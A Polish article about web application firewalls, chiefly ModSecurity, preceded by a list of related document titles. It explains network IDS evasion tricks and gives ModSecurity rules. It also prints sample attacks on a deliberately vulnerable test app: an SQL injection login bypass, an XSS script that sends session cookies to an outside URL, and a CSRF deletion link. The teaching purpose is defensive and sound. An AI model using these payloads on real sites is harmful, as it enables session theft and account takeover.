Systemy IDS/IPS dla aplikacji webowych



Podobne dokumenty
Aplikacje webowe w obliczu ataków internetowych na przykładzie CodeIgniter Framework

Hosting WWW Bezpieczeństwo hostingu WWW. Dr Michał Tanaś (

WINDOWS Instalacja serwera WWW na systemie Windows XP, 7, 8.

Konfiguracja programu pocztowego Outlook Express i toŝsamości.

OWASP OWASP. The OWASP Foundation Cross-Site Scripting. Ryzyko do zaakceptowania? Warszawa, 27 stycznia 2011 Michał Kurek

Analiza skuteczności zabezpieczeń przed atakami na aplikacje Web

Dokumentacja instalacji aktualizacji systemu GRANIT wydanej w postaci HotFix a

Projektowani Systemów Inf.

Jarosław Kuchta Administrowanie Systemami Komputerowymi. Internetowe Usługi Informacyjne

ZPKSoft WDoradca. 1. Wstęp 2. Architektura 3. Instalacja 4. Konfiguracja 5. Jak to działa 6. Licencja

76.Struktura oprogramowania rozproszonego.

Internetowy moduł prezentacji WIZYT KLIENTA PUP do wykorzystania np. na stronie WWW. Wstęp

Konfigurowanie konta pocztowego w programie Netscape (wersja 7.2)

Instalacja i opis podstawowych funkcji programu Dev-C++

Podstawy technologii WWW

Obsługa poczty elektronicznej w domenie emeritus.ue.poznan.pl

9. System wykrywania i blokowania włamań ASQ (IPS)

Portal Security - ModSec Enterprise

Zdalna obsługa transcievera. H A M R A D I O D E L U X E R e m o t e S e r v e r C o n f i g u r a t i o n

Przykładowa konfiguracja konta pocztowego w programie Thunderbird z wykorzystaniem MKS 2k7 (MS Windows Vista Busissnes)

Ataki na aplikacje WWW. Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW

IV.3.b. Potrafisz samodzielnie dokonać podstawowej konfiguracji sieci komputerowej

z :16

Wojciech Dworakowski. Zabezpieczanie aplikacji. Firewalle aplikacyjne - internetowych

Bezpieczne udostępnianie usług www. BłaŜej Miga Zespół Bezpieczeństwa PCSS

Serwery. Autorzy: Karol Czosnowski Mateusz Kaźmierczak

6. Bezpieczeństwo przy współpracy z bazami danych

Pierwszy projekt. Na początku warto wspomnieć, że program WebSite X5 dostępy jest w 3 wariantach: Start, Evolution oraz Professional

Bezpieczeństwo w M875

OMNITRACKER Wersja testowa. Szybki przewodnik instalacji

Opis programu OpiekunNET. Historia... Architektura sieciowa

OCHRONA PRZED RANSOMWARE

Programowanie obiektowe zastosowanie języka Java SE

OMNITRACKER Wersja testowa. Szybki przewodnik instalacji

Robaki sieciowe. + systemy IDS/IPS

Instrukcje dotyczące funkcji zarządzania pasmem w urządzeniach serii ZyWALL.

SYSTEM ZARZĄDZANIA TREŚCIĄ (CMS) STRONY INTERNETOWEJ SZKOŁY PRZEWODNIK

Konfiguracja zapory Firewall w systemie Debian.

Aspekty bezpieczeństwa aplikacji internetowych

Drobne błędy w portalach WWW

Podstawowe informacje o obsłudze pliku z uprawnieniami licencja.txt

Zagrożenia związane z udostępnianiem aplikacji w sieci Internet

Aplikacje WWW - laboratorium

Opis instalacji oparto na przykładzie serwera SUPERHOST z obsługą PHP i MySQL.

Dokumentacja systemu NTP rekrut. Autor: Sławomir Miller

Przekierowanie portów w routerze - podstawy

OCHRONA PRZED RANSOMWARE. Konfiguracja ustawień

Zmienne i stałe w PHP

Współpraca Integry z programami zewnętrznymi

Programy LeftHand - Obsługa plików JPK. Luty 2017

PORADNIK KORZYSTANIA Z SERWERA FTP ftp.architekturaibiznes.com.pl

Wybrane działy Informatyki Stosowanej

Program szkolenia: Bezpieczny kod - podstawy

Sposoby analizy i interpretacji statystyk strony WWW.

PROJEKT ARAKIS DOŚWIADCZENIA Z OBSERWACJI ZAGROŻEŃ W SIECI Tomasz Grudziecki (CERT Polska / NASK)

The OWASP Foundation Session Management. Sławomir Rozbicki.

Komunikator internetowy w C#

Instrukcja uŝytkownika

Blokowanie stron internetowych

Dokumentacja programu Rejestr Informacji o Środowisku

Kurs rozszerzony języka Python

Celem tego projektu jest stworzenie

Web Application Firewall - potrzeba, rozwiązania, kryteria ewaluacji.

Wykorzystanie protokołu SCEP do zarządzania certyfikatami cyfrowymi w systemie zabezpieczeń Check Point NGX

Sesje, ciasteczka, wyjątki. Ciasteczka w PHP. Zastosowanie cookies. Sprawdzanie obecności ciasteczka

Programowanie Komponentowe WebAPI

Wysyłka dokumentacji serwisowej z Sekafi3 SQL do producentów.

Materiały oryginalne: ZAWWW-2st1.2-l11.tresc-1.0kolor.pdf. Materiały poprawione

Spring Web MVC, Spring DI

Program Opakowania zwrotne dla InsERT GT.

Zmienne powłoki. Wywołanie wartości następuje poprzez umieszczenie przed nazwą zmiennej znaku dolara ($ZMIENNA), np. ZMIENNA=wartosc.

Jak ustawić cele kampanii?

Internetowy moduł prezentacji ofert pracy do wykorzystania na stronie WWW lub panelu elektronicznym. Wstęp

A. Instalacja serwera www

Czym są właściwości. Poprawne projektowanie klas

Jednym z najważniejszych zagadnień, z którym może się zetknąć twórca

Podstawy obsługi aplikacji Generator Wniosków Płatniczych

11. Rozwiązywanie problemów

BAZY DANYCH. Obsługa bazy z poziomu języka PHP. opracowanie: Michał Lech

z :11

Polityka prywatności dla strony ELCEN Sp. z o.o. z siedzibą w Gdyni

Usługi sieciowe systemu Linux

KORZYSTANIE Z CERTYFIKATU KWALIFIKOWANEGO W PROGRAMIE PŁATNIK

Java pierwszy program w Eclipse «Grzegorz Góralski strona własna

Niniejsza instrukcja przedstawia przykład konfiguracji koncentratora SSL VPN w trybie Network Extension.

Bezpieczeństwo systemów komputerowych

Bezpieczeństwo systemów komputerowych

Archiwizacja baz MSSQL /BKP_SQL/ opis oprogramowania

zmiany w aplikacji abcpanel MoŜliwość wysyłania informacji podatkowych SMS-em.

Windows Server Active Directory

Bezpieczeństwo aplikacji webowych

OPIS i SPECYFIKACJA TECHNICZNA

Instalacja systemu zarządzania treścią (CMS): Joomla

Program do obsługi ubezpieczeń minifort

Przykład konfiguracji koncentratora SSL VPN w trybie Reverse Proxy (dotyczy serii urządzeń ZyWALL USG)

Analiza możliwości złośliwego oprogramowania vjw0rm w kampanii phishingowej PayU

PLAN WYNIKOWY PROGRAMOWANIE APLIKACJI INTERNETOWYCH. KL IV TI 6 godziny tygodniowo (6x15 tygodni =90 godzin ),

WINDOWS Przejmowanie pulpitu komputera za pomocą TightVNC w sieci wewnętrznej.

Zaawansowane aplikacje internetowe

Transkrypt:

Dokument pobrany z serwisu: www.centrum.bezpieczenstwa.pl Autor artykułu: Michał Melewski Systemy IDS/IPS dla aplikacji webowych Stan bezpieczeństwa w Internecie Zawsze kiedy mam opisać stan bezpieczeństwa w Internecie przypomina mi się stary Ŝydowski dowcip. Na rynku mija się w pośpiechu dwóch Ŝydów, ale nawiązuje się rozmowa: - Panie Mosze, pan mnie powie, co tam u pana słychać, ale tak w dwóch słowach. - Nu, jest dobrze. - No a tak w trzech słowach? - Nu, nie jest dobrze. Co tak naprawdę dzieje się, jeśli chodzi o bezpieczeństwo? W zasadzie ciągle to samo - stare ataki ciągle mają się dobrze; wciąŝ w uŝyciu są ataki dotyczące starych "protokołów" (SMTP, NNTP, RPC itp). Jednak o ile kiedyś były to najczęściej wygłupy róŝnych rozrywkowych młodzieńców, o tyle dzisiaj mamy juŝ do czynienia z przemysłowym wykorzystywaniem luk - maszyny są przejmowane dla zysku, a nie dla zabawy (np. Ŝeby utworzyć botnet). Obserwujemy teŝ nowe trendy - ilość serwisów i aplikacji webowych rośnie w niesamowitym tempie. Firmy zrozumiały, Ŝe jeśli nie istnieją w sieci, to nie istnieją na obecnym rynku, więc nadrabiając stracony czas gwałtownie przenoszą swoje systemy na platformy webowe. Port 80 uŝywany jest juŝ w zasadzie do wszystkiego - przeglądanie stron, pobieranie plików, Web Services itd. Swoją zasługę ma tutaj coraz łatwiejsza technologia tworzenia stron i aplikacji webowych. Kiedyś do tego celu potrzebny był sztab fachowców, natomiast dzisiaj kaŝdy licealista/gimnazjalista moŝe i często tworzy róŝnego rodzaju aplikacje dla przedsiębiorstw. Bezpieczeństwo aplikacji WWW Nowe technologie rodzą nowe problemy i nowe wyzwania (miały być truizmy, to są). Musimy sobie uświadomić, Ŝe systemy Firewall przestają juŝ wystarczać, bo skoro cały ruch przechodzi przez port 80, to nie moŝemy go zablokować. Skoro godzimy się z tym, Ŝe taki ruch wchodzi do naszych sieci, to jak wygląda bezpieczeństwo tego typu aplikacji? Szczerze mówiąc niezbyt dobrze. Pod względem standardów i dobrych praktyk tworzenie serwisów Internetowych to straszny bałagan. Jak dziurawe są aplikację najłatwiej się przekonać śledząc choćby przez tydzień listę dyskusyjną Bugtraq - kaŝdego dnia ukazuje się przynajmniej kilka raportów dotyczących dziurawych aplikacji webowych. Istnieje wiele projektów mających na celu zarówno wypracowanie odpowiednich standardów tworzenia bezpiecznego kodu takich aplikacji oraz róŝnego rodzaju inicjatywy mające na celu podniesienie świadomości programistów, ale przed nami jeszcze długa droga.

Spróbujmy przez chwile wyobrazić sobie, jak wyglądałby idealny świat tworzenie aplikacji webowych: Bezpieczeństwo na wszystkich etapach projektu - względy bezpieczeństwa uwzględniane byłyby juŝ na etapie projektowanie, podczas implementacji, a takŝe na etapie testów. Istnieją wymagania dotyczące bezpieczeństwa i definiowana jest polityka bezpieczeństwa dla danego serwisu. Proces powstawania aplikacji nadzoruje ktoś, kto jest zaznajomiony z technicznymi i organizacyjnymi aspektami bezpieczeństwa aplikacji webowych. Odpowiednie osoby wykonują przeglądy kodu pod kątem potencjalnych luk w bezpieczeństwie. A teraz wróćmy do świata rzeczywistego i zmierzmy się z nim: Większość aplikacji posiada luki bezpieczeństwa. Trywialne luki obnaŝają całkowity brak zrozumienia dla wymagań bezpieczeństwa aplikacji webowych. UŜytkownicy oczekują nowych funkcjonalności, a bezpieczeństwo schodzi na dalszy plan. Do włamania się nie potrzeba Ŝadnych specjalnych narzędzi - często wystarczy przeglądarka. Zapobieganie atakom Skoro wiemy, Ŝe nasze aplikację staną się celami, jak tylko zostaną umieszczone w sieci (a czasami nawet wcześniej), to musimy je w jakiś sposób zabezpieczyć. Pierwsza metoda, jakŝe często stosowana w róŝnych firmach wygląda następująco - zamknij oczy, skrzyŝuj palce i powtarzaj nic się nie stanie. Niestety skuteczność tej metody pozostawia wiele do Ŝyczenia. Oczywiście naturalnym wydaje się, Ŝe przede wszystkim trzeba podnieść jakoś swojego kodu, zacząć bezpieczniej programować itp. WaŜne jest, aby zarezerwować sobie czas na odpowiednie przetestowanie serwisu, a jeśli aplikacja jest waŝna, to nawet zamówić usługę przeglądu kodu źródłowego pod kątem luk bezpieczeństwa (tak, to teŝ robimy). Nie chciałbym tutaj rozwijać wątku na temat bezpiecznego programowania, poniewaŝ temat jest szeroki. Być moŝe poświęcę mu kiedyś osoby wpis. Problem pojawia się wtedy, kiedy musimy wdroŝyć w naszej sieci aplikację napisaną przez kogoś innego. Wiadomo, Ŝe nie jesteśmy w stanie przeanalizować wszystkich systemów, które są u nas wykorzystywane - głównie ze względu na czas, jaki musielibyśmy temu poświęcić. Czasami zdarza się teŝ, Ŝe znaleźliśmy błąd w jakiejś aplikacji webowej, którą wykorzystujemy, ale nie moŝemy jej poprawić. Często na przeszkodzie stoi bądź to brak źródeł (np. dla aplikacji napisanej w Javie) bądź teŝ obostrzenia licencyjne. Wszystkie te sytuację są raczej mało komfortowe dla osoby, której zadaniem jest dbanie o bezpieczeństwo. Jeśli nie jesteśmy w stanie poprawić samej aplikacji, to zapobiegać trzeba w inny sposób.

Całkiem naturalnie pierwsze kroki kierujemy ku systemom IDS/IPS które funkcjonują w naszych sieciach. Przykładowo system Snort posiada specjalny moduł HTTP Inspect, który ma za zadanie rozkładać pakiet protokołu HTTP na poszczególne pola, normalizować je i przekazywać do silnika wykrywania ataków. Dodatkowo Snort posiada całkiem spory zestaw reguł dotyczących ataków na aplikacje webowe. Czy to wystarczy? Odpowiedź niestety brzmi: nie! Po pierwsze systemy pracujące w sieci mogą nie poradzić sobie z dekodowaniem duŝej ilości ruchu protokołu HTTP - zwłaszcza, jeśli mamy kilka róŝnych serwisów i dla kaŝdego z nich musielibyśmy stworzyć osobne zestawy reguł. Po drugie, dane przesyłane często są kompresowane celem zaoszczędzenia pasma - negatywnie odbija się to na wydajności systemu IDS/IPS, który najpierw musi rozpoznać takie dane, zdekompresować je, przeanalizować i wysłać dalej. Kolejny problem to ruch zaszyfrowany - Ŝeby NIDS był w stanie wykryć atak w takim kanale musiałby posiadać kopie certyfikatów serwera, co obniŝyłoby ogólny poziom bezpieczeństwa sieci. Ostatnią i chyba najpowaŝniejszą sprawą, jest fakt, Ŝe systemów NIDS nigdy nie projektowano z myślą o stanowym przetwarzaniu pakietów protokołu HTTP i radzeniu sobie ze wszystkimi moŝliwościami wyminięcia takiego sensora. Jakie są przykładowe metody omijanie sieciowych systemów IDS/IPS (niektóre są dość stare): Zmiana wielkości liter (DeLETe from users) Białe znaki (DELETE FROM users) Spacer po katalogach (/etc/./passwd) Podwójne slashe (/etc//paswd) Zapytania SQL ( DELETE /**/ FROM users) Jak widać, jest tego całkiem sporo. Oczywiście niewiele z nich zadziała jeśli zostaną zastosowane samodzielnie, ale w kombinacji trudno powiedzieć - mogą być często dość skuteczne. Najlepiej obrazuje problem ostatni przykład - sieciowy IDS/IPS nie jest w stanie zrozumieć, Ŝe powinien zignorować komentarz wewnątrz zapytania SQL. Wniosek jest jeden - jesteśmy zbyt daleko od logiki aplikacji, Ŝeby móc w pełni ją zrozumieć. Wszystko wskazuje na to, Ŝe w tym wypadku sieciowe systemy IDS/IPS nie zapewnią nam naleŝytej ochrony. Jest jednak rozwiązanie - naleŝy przenieść system obrony bliŝej celu, na warstwę 7 modelu sieciowego. Do tego właśnie słuŝą rozwiązania znane jako WAF - Web Application Firewall. Na rynku pojawiło się kilka tego typu rozwiązań róŝnych firm - Profense, F5, Zorp czy teŝ Mod Security. Waszą uwagę chciałbym zwrócić właśnie na to ostatnie rozwiązanie. Mod Security - moŝliwości Mod Security to darmowy system IDS/IPS przeznaczony do ochrony aplikacji webowych. Jest to aplikacja Open Source, której rozwojem zajmuje się firma Breach - dostępna jest zarówno licencja komercyjna jak teŝ licencja GPL. Mod Security współpracuje zarówno z serwerem Apache serii 1.x oraz 2.x, natomiast w przyszłości planowana jest wersja pracująca jako ServletFilter dla serwerów aplikacji Java.

NajwaŜniejsze cechy tego systemu to moŝliwość logowania całego ruchu, włączając w to dane przesłane metodami GET, POST oraz COOKIE oraz wszystkie inne pola protokołu HTTP. Dodatkowo Mod Security ma moŝliwość inspekcji połączenia i reagowania na ataki w czasie rzeczywistym - dzięki elastycznemu silnikowi reguł opartemu na wyraŝeniach regularnych (PCRE), moŝemy zdefiniować róŝnego rodzaju kombinacje pół protokołu, które zamierzamy zablokować w przypadku ich wystąpienia. WaŜną cechą Mod Security jest moŝliwość uruchomienia go w dwóch trybach. W pierwszym, tzw. embedded mode system IDS/IPS jest ściśle zintegrowany z serwerem WWW. W drugim trybie natomiast wykorzystać musimy dodatkowo moduł mod_proxy, dzięki czemu czemu uruchomimy go w trybie reverse proxy. Tryb ten pozwoli nam na ochronę kilku serwerów za pomocą jednego systemu IDS/IPS. (To właśnie nazywamy WAF - Web Application Firewall) Mod Security - zasady działania Jak widać system ten ma całkiem spore moŝliwości, natomiast teraz chciałbym zaprezentować wam, jak moŝna te moŝliwości wykorzystać. NajwaŜniejszą cechą reguł obronnych jest to, Ŝe moŝemy korzystać z nich w odniesieniu do wszystkich dyrektyw lokalizacyjnych serwera Apache: Directory, Location, Virtual Host itd. Dzięki temu moŝemy dopasowywać róŝne reguły, zasady raportowania i metody ochrony w odniesieniu do róŝnych aplikacji. Prześledźmy teraz krok po kroku jakie opcję powinniśmy zdefiniować, Ŝeby nasz system zaczął funkcjonować. Pierwszym krokiem jest rzecz jasna włączenie silnika reguł oraz włączenie opcji sprawdzania ciała zapytania: SecRuleEngine Onhttp://carstein.kill-9.pl/files/battleground.tar.gz SecRequestBodyAccess On Drugim krokiem jest zdefiniowanie domyślnej akcji: SecDefaultAction "log, deny, status:500, phase:1" Reguła ta wskazuje, jakie działania zostaną podjęte, jeśli któraś z naszych reguł zostanie dopasowana. Jak widać, po pierwsze fakt ten zostanie odnotowany w logu, następnie dane wywołanie zostanie zablokowane i zwrócony zostanie status 500 (błąd aplikacji). Opcja phase wskazuje, której z faz przetwarzania zapytania będzie ona dotyczyła. O fazach przetwarzania napiszę później. Trzecim krokiem jest określenie reguł: SecRule REQUEST_URI "<script>" Widać, Ŝe konstrukcja reguły jest prosta - pierwszy człon wskazuje, które z pól zapytania protokołu HTTP chcemy sprawdzić (w tym przypadku dotyczy to ciągu zapytania), natomiast drugi człon jest wyraŝeniem regularnym wskazującym nam poszukiwany ciąg. Jeśli spełniony zostanie warunek polegający na tym, Ŝe w ciągu zapytania odnaleziony zostanie wskazane

wyraŝenie, to dla tego zapytania uruchamiana jest domyślna akcja. Kolejne kroki do między innymi zdefiniowanie zasad logowania, ale tutaj po szczegóły odsyłam juŝ do dokumentacji. Wspomniałem wcześniej o fazach przetwarzania - w Mod Security mamy moŝliwość definiowania zasad dla 5 etapów przetwarzania serwera Apache. Sprawę najlepiej wyjaśni rysunek obrazujący jak serwer przetwarza zapytanie otrzymane od klienta. Oczywiście nie wszystkie reguły są tak proste i ograniczone. Mod Security daje nam sporo moŝliwości - moŝemy między innymi: decydować, do którego etapu przetwarzania dana reguła ma zastosowanie: SecRule HTTP_HOST "!^$" "deny, phase:1" określić domyślne akcje dla kaŝdego z etapów: SecDefaultAction "log,pass,phase:2" dobrać się do róŝnych elementów zapytania: REQUEST_URI, ARGS itp wykorzystywać róŝne funkcje wbudowane: @validatebyterange, @lt, @eq, itd. definiować róŝnego rodzaju akcje: przerywające: deny, drop, redirect, nieprzerywające: allow, pass, skip, chain, To oczywiście nie wszystkie moŝliwości Mod Security - po więcej zapraszam do dokumentacji.

Powstrzymywanie ataków - SQL injection Teraz spróbujmy zastosować Mod Security w sposób nieco bardziej praktyczny - na końcu tego artykułu znajdziecie odnośnik do małej aplikacji napisanej w PHP - aplikacja ta jest podatna na niemal kaŝdy typowy błąd dotyczący aplikacji webowych (takie było załoŝenia podczas jej pisania). PosłuŜy nam ona jako poligon doświadczalny. Pierwszym, najbardziej typowym błędem jest SQL Injection. Atak z wykorzystaniem tego błędu polega na przekazaniu dodatkowych parametrów do zapytania języka SQL, co powoduje wypaczenie sensu zapytania pierwotnego. Przykładowo nasza aplikacja testowa posiada błąd umoŝliwiający ominięcie procesu uwierzytelniania. Aby przeprowadzić ten atak wystarczy w polu login wpisać: "test' OR 'a'='a". śeby się przed tym zabezpieczyć wystarczy wykorzystać dwie reguły: SecRule ARGS:login "' OR" SecRule ARGS:pass "' OR" Sens reguły jest następujący - sprawdzamy argumenty o nazwach login oraz pass i szuka fragmentu zapytania języka SQL. Reguła ta działa, ale łatwo ją ominąć - choćby zmieniając wielkość liter lub zmieniając doklejane zapytanie. Jak sobie poradzić z tym problemem? Zmieniając sens reguł: SecRule ARGS:login "@validatebyterange 48-57,65-90,97-122" SecRule ARGS:pass "@validatebyterange 48-57,65-90,97-122" Sprawdzamy, czy kaŝdy z przekazanych argumentów posiada bajty tylko z dopuszczalnego zakresu (w naszym przypadku duŝe i małe litery oraz cyfry). Te dwie reguły zablokują nam ten konkretny atak. Powstrzymywanie ataków - XSS Drugim, chyba najczęściej spotykanym atakiem jest atak Cross Site Scripting znany takŝe jako XSS. Polega on na przekazaniu klientowi wykonywalnego kodu Javascript uruchamiającego się w kontekście wyświetlanej strony. Nasza aplikacja równieŝ podatna jest na taki atak. Wystarczy w polu wiadomości wkleić następujący kod: <script> var adr = \'http://localhost/vuln/test.php?id=\' + escape(document.cookie); var obr = \'<IMG src=\"\' + adr + \'\">\'; document.write(obr); </script>

Efektem będzie zapisanie się identyfikatora sesji danego uŝytkownika na naszym serwerze - później identyfikator ten moŝemy wykorzystać do przejęcia czyjegoś konta. Aby zabezpieczyć nas przed tego typu atakami moŝemy zastosować taką regułę: SecRule REQUEST_FILENAME ARGS ARGS_NAMES REQUEST_HEADERS "<script" Niestety to nie zawsze wystarczy - moŝliwości umieszczenia kodu JavaScript na stronie jest całkiem sporo. Kompleksowa reguła słuŝąca zapobieganiu tego typu atakom wygląda tak: SecRule REQUEST_FILENAME ARGS ARGS_NAMES REQUEST_HEADERS "(?:\b(?:on(?:(?:mo(?:use(?:o(?:ver ut) down move up) ve) key(?:press down up) c(?:hange lick) s(?:elec ubmi) t (?:un)?load dragdrop resize focus blur)\b\w*?= abort\b) (?:l(?:owsrc\b\w*?\b(?:(?:java vb)script shell) ivescript) (?:href url)\b\w*?\b(?:(?:java vb)script shell) mocha): type\b\w*?\b(?:text\b(?:\w*?\b(?:j(?:ava)? ecma)script\b [vbscript]) application\b\w*?\bx-(?:java vb)script\b) s(?:(?:tyle\b\w*=.*\bexpression\b\w* ettimeout\b\w*?) \( rc\b\w*?\b(?:(?:java vb)script shell http):) (?:c(?:opyparentfolder reatetextrange) get(?:special parent)folder background-image: @import)\b a(?:ctivexobject\b lert\b\w*?\()) <(?:(?:body\b.*?\b(?:backgroun onloa)d input\b.*?\\btype\b\w*?\bimage)\b!\[cdata\[ script meta).(?:(?:execscrip addimpor)t (?:fromcharcod cooki)e innerhtml)\b)" Mało to czytelne, ale w końcu to składnia Perl'a - w kaŝdym razie działa. Powstrzymywanie ataków - CSRF Dość ciekawym przypadkiem ataku są ataki typu Cross Site Request Forgery, gdzie podstawiamy uŝytkownikowi odnośnik, który dany uŝytkownik wykonuje nie będąc często świadomym, Ŝe to robi. Uaktywnienie danego odnośnika skutkuje najczęściej wykonaniem jakiejś akcji na innej stronie, ale z uprawnieniami ofiary. MoŜe nieco mętnie to wyjaśniam, więc najlepiej będzie wskazać to na przykładzie. Nasza testowa aplikacja podatna jest właśnie na atak typu CSRF. Jeśli ofiara otrzyma od atakującego link zatytułowany "nagie zdjęcia", a link prowadzić będzie do <img src= http://home.pl/remove.php?msgid=100 %gt;, to uŝytkownik nieświadomie wykona akcję polegającą na usunięciu danej wiadomości (o ile jeszcze nie wygasły dane uwierzytelniające).

Obrona przed tym nie jest prosta - działanie takie wygląda prawie tak samo, jak typowa akcja uŝytkownika. Spróbujmy jednak jakoś sobie z tym poradzić. Pierwsza wersja reguły jest taka: SecRule ARGS_NAMES msgid chain SecRule &HTTP_REFERER "@eq 0" JuŜ tłumaczę, jak to działa. Pierwsza reguła sprawdza, czy jeden z przekazanych argumentów nazywa się msgid. Jeśli tak, to uaktywniana jest druga reguła (stąd akcja chain), która sprawdza, czy parametr HTTP_REFERER jest pusty. Sens tych reguł jest taki, Ŝe jeśli akcja usunięcia została wywołana bezkontekstowo, to oznacza, Ŝe nie była częścią normalnej sesji uŝytkownika. Oczywiście, jeśli taki link został by umieszczony na jakiejś stronie, to wywołanie otrzymało by kontekst, więc nasza reguła nie zdała by się na nic. Aby powstrzymać takie ataki trzeba baczniej śledzić poprawność kontekstu wywołania skryptów destrukcyjnych oraz integralność sesji. Mod Security Core Rules Jak kaŝdy system IDS/IPS takŝe Mod Security wyposaŝony jest w odpowiednie zestawy reguł, których celem jest powstrzymywanie bardziej typowych ataków oraz niepoŝądanych działań. Reguły te podzielone zostały na kilka podzbiorów. Oto one: Reguły konfiguracyjne - tutaj zdefiniowane są wszystkie główne ustawienia Mod Security, takie jak katalogi logowania, katalogi dla plików tymczasowych, domyślne reakcje na dopasowanie reguły itp. Reguły naruszeń protokołu - w tym pliku zdefiniowano wszystkie reguły dotyczące poprawnej konstrukcji pakietów protokołu HTTP. Wykrywany jest brak nagłówku hosta, brak nazwy klienta, nie numeryczna wartość pola Content-lenght i temu podobne naruszenia. Reguły ograniczające protokół HTTP - ten zestaw reguł odpowiada za wyeliminowanie niewykorzystywanych typów połączeń protokołu HTTP, takich jak TRACE, CONNECT, PUT itp. Reguły złych robotów - celem tych reguł jest uniemoŝliwienie złośliwym robotom indeksowania zawartości naszego serwera. Reguły typowych ataków - te reguły mają na celu zablokowanie wszystkich typowych ataków, takich jak XSS, SQL Injection, RCE itp. Reguły koni trojańskich - są to reguły chroniące przed uploadem plików, które mogą zawierać róŝnego rodzaju szkodliwy kod. Do poprawnego działania wymaga dodatkowych programów na serwerze. Reguły komunikatów wstęgi bocznej - zdefiniowane tutaj reguły mają chronić przed takimi zdarzeniami, jak wyciek kodu strony lub zbyt szczegółowych komunikatów o błędach aplikacji.

Reguły dla działu marketingu - zestaw prostych reguł raportujących o odwiedzinach botów głównych wyszukiwarek. Oczywiście pamiętać naleŝy, Ŝe to tylko Ŝelazny zestaw reguł, w które musi być wyposaŝony nasz system - warto jednak tworzyć konkretne reguły dla swoich własnych aplikacji. Zestaw przedstawionych reguł naleŝy teŝ od czasu do czasu aktualizować - poprawki dostępne są oczywiście na stronie projektu. Podsumowanie Jeśli chodzi o tematykę ochrony aplikacji webowych, to przychodzi mi do głowy kilka waŝniejszych wniosków. Po pierwsze, widzimy, Ŝe systemy NIDS, które były projektowane w zupełnie innym celu nie spełniają w pełni swojej roli jeśli chodzi o ochronę tego typu aplikacji. Jedyną skuteczną ochronę jest przeniesienie mechanizmów na wyŝsze warstwy. Sprawdza się tutaj zasada, Ŝe im bliŝej celu stoimy, tym lepiej rozumiemy ataki, którym jest poddawany. Wszystkim tym, którzy chcieliby zacząć lepiej chronić swoje aplikacje webowe polecam zapoznanie się z Mod Security. Oczywiście to was nie zwalnia od pisania dobrego i bezpiecznego kodu. To tylko kolejna warstwa ochronna. Obiecana aplikacja moŝe być pobrana tutaj.